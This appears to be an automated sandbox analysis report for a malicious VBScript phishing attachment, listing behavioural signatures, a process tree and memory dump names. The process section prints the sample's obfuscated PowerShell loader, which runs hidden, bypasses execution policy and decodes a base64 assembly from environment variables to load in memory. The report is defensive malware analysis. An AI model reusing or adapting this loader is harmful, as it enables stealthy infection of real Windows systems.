Analysis
- max time kernel
150s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
22/09/2026, 15:18
General
- Target quotation for New price update.vbs
- Size 5.4MB
- Sample260922-sprf8ahb68
- SHA256 f427bac6b983019bb7d2ff1e60d1659e96b6e1db09b2ef4b900c894e5ccdfb6f
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\quotation for New price update.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$isonymy=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5;$massagist=[Convert]::FromBase64String($isonymy);[AppDomain]::CurrentDomain.Load($massagist)|Out-Null;[Win32.RMP.Cls_ofhotcQmRV]::Met_ofhotcQmRVfg('NLTaLFw+ufxBX0tBTIzZ7wJuTNs1uRDuFzsW6pz9Yl/xk30PZFu9rHHThgrzjKNnXmAQ9BgqjL53XpunSOhZOg==','','cKNGCjNbtj0L9CVO5EHgRKrEbh8PXhVrGse95A6pFvalofL3poo6cu/9awlcfWEq','J54xj1Qts+B+IC7tG2Z+PBSOCv2ZTpDLb+vCkguwkTA=','TW8cwkOGNA0hFw5MpUKgVDTXm6U/yPlkVDkub28dSsQ=','','Ivv03aP1i3XaZhoLgmTOgrx94Iu5ZWMjDvin3pnE4No=','','vHPnnONzX/6BWqAt5mugjSy4kCWjaOjjUblWJL7A1Pc=','caq0RnzxQ7mFNDSMWPJ7lr7B0x0zj8MADavUIiKrWwMbk9nmlSCvG2YOvgxS0IcE','PM1eVtYJZlc/Vu0aTGCwP8SlAoM4TyGQ5WnMDz3qAAs=','ZzG5BGWBJ7l1VS4MfFht+65KjYW4Vq6v7JL87rvd6x0=','pii4uEZzQtB+S3shT7V9LafptfsH/zPKesI5DSZvslg=','','Cl+fQX1ChVDzUiib6yv8tFYAdWB7GtMUtVlERrVRAqo=','LJTJI23tO4fXm8Kl2i+gMj1CNWnlZFHoJo6Tfwp7/bw=','','','')"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$isonymy=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5;$massagist=[Convert]::FromBase64String($isonymy);[AppDomain]::CurrentDomain.Load($massagist)|Out-Null;[Win32.RMP.Cls_ofhotcQmRV]::Met_ofhotcQmRVfg('NLTaLFw+ufxBX0tBTIzZ7wJuTNs1uRDuFzsW6pz9Yl/xk30PZFu9rHHThgrzjKNnXmAQ9BgqjL53XpunSOhZOg==','','cKNGCjNbtj0L9CVO5EHgRKrEbh8PXhVrGse95A6pFvalofL3poo6cu/9awlcfWEq','J54xj1Qts+B+IC7tG2Z+PBSOCv2ZTpDLb+vCkguwkTA=','TW8cwkOGNA0hFw5MpUKgVDTXm6U/yPlkVDkub28dSsQ=','','Ivv03aP1i3XaZhoLgmTOgrx94Iu5ZWMjDvin3pnE4No=','','vHPnnONzX/6BWqAt5mugjSy4kCWjaOjjUblWJL7A1Pc=','caq0RnzxQ7mFNDSMWPJ7lr7B0x0zj8MADavUIiKrWwMbk9nmlSCvG2YOvgxS0IcE','PM1eVtYJZlc/Vu0aTGCwP8SlAoM4TyGQ5WnMDz3qAAs=','ZzG5BGWBJ7l1VS4MfFht+65KjYW4Vq6v7JL87rvd6x0=','pii4uEZzQtB+S3shT7V9LafptfsH/zPKesI5DSZvslg=','','Cl+fQX1ChVDzUiib6yv8tFYAdWB7GtMUtVlERrVRAqo=','LJTJI23tO4fXm8Kl2i+gMj1CNWnlZFHoJo6Tfwp7/bw=','','','')"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
memory/4576-14-0x00007FF9AD840000-0x00007FF9AE1E4000-memory.dmp
memory/4576-15-0x00007FF9AD840000-0x00007FF9AE1E4000-memory.dmp
memory/4576-7-0x00007FF9AD840000-0x00007FF9AE1E4000-memory.dmp
memory/4576-0-0x00007FF9AD9CF000-0x00007FF9AD9D0000-memory.dmp
memory/4576-9-0x00007FF9AD840000-0x00007FF9AE1E4000-memory.dmp
memory/4576-10-0x000001C459F90000-0x000001C459FB2000-memory.dmp
memory/4576-11-0x00007FF9AD840000-0x00007FF9AE1E4000-memory.dmp
memory/4576-12-0x00007FF9AD840000-0x00007FF9AE1E4000-memory.dmp
memory/4576-4-0x000001C459F20000-0x000001C459F42000-memory.dmp
memory/4576-13-0x00007FF9AD840000-0x00007FF9AE1E4000-memory.dmp
memory/4576-8-0x00007FF9AD840000-0x00007FF9AE1E4000-memory.dmp
memory/4576-25-0x00007FF9AD840000-0x00007FF9AE1E4000-memory.dmp
memory/4576-3-0x00007FF9AD840000-0x00007FF9AE1E4000-memory.dmp
memory/4576-22-0x00007FF9AD840000-0x00007FF9AE1E4000-memory.dmp
memory/4576-19-0x00007FF9AD840000-0x00007FF9AE1E4000-memory.dmp
memory/4580-21-0x00007FF9AD840000-0x00007FF9AE1E4000-memory.dmp
memory/4580-18-0x00007FF9AD840000-0x00007FF9AE1E4000-memory.dmp
memory/4580-17-0x00007FF9AD840000-0x00007FF9AE1E4000-memory.dmp
memory/4580-16-0x00007FF9AD840000-0x00007FF9AE1E4000-memory.dmp